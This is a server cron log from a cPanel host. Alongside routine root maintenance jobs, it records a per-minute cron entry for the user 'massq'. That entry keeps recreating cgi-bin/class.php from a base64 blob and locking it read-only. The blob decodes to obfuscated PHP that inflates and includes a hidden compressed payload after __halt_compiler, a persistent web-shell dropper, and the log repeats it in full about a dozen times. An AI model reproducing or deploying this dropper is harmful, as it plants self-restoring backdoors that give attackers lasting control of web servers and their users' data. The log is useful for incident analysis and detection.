Nov  9 06:57:01 server CROND[12105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:57:01 server CROND[12106]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 06:58:01 server CROND[12960]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:59:01 server CROND[13441]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:00:01 server CROND[14271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 07:00:01 server CROND[14272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:00:01 server CROND[14274]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:00:01 server CROND[14273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:01:01 server CROND[15172]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 07:01:01 server CROND[15173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:01:01 server run-parts(/etc/cron.hourly)[15172]: starting 0anacron
Nov  9 07:01:01 server run-parts(/etc/cron.hourly)[15185]: finished 0anacron
Nov  9 07:02:01 server CROND[16027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:03:01 server CROND[16629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:04:01 server CROND[17246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:05:01 server CROND[18140]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:05:01 server CROND[18141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:05:01 server CROND[18142]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 07:05:01 server CROND[18146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:06:01 server CROND[19037]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:07:01 server CROND[19871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:08:01 server CROND[20703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:09:01 server CROND[21511]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 07:09:01 server CROND[21512]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:10:01 server CROND[22348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:10:01 server CROND[22350]: (root) CMD (/usr/lib64/sa/sa1 1 1)
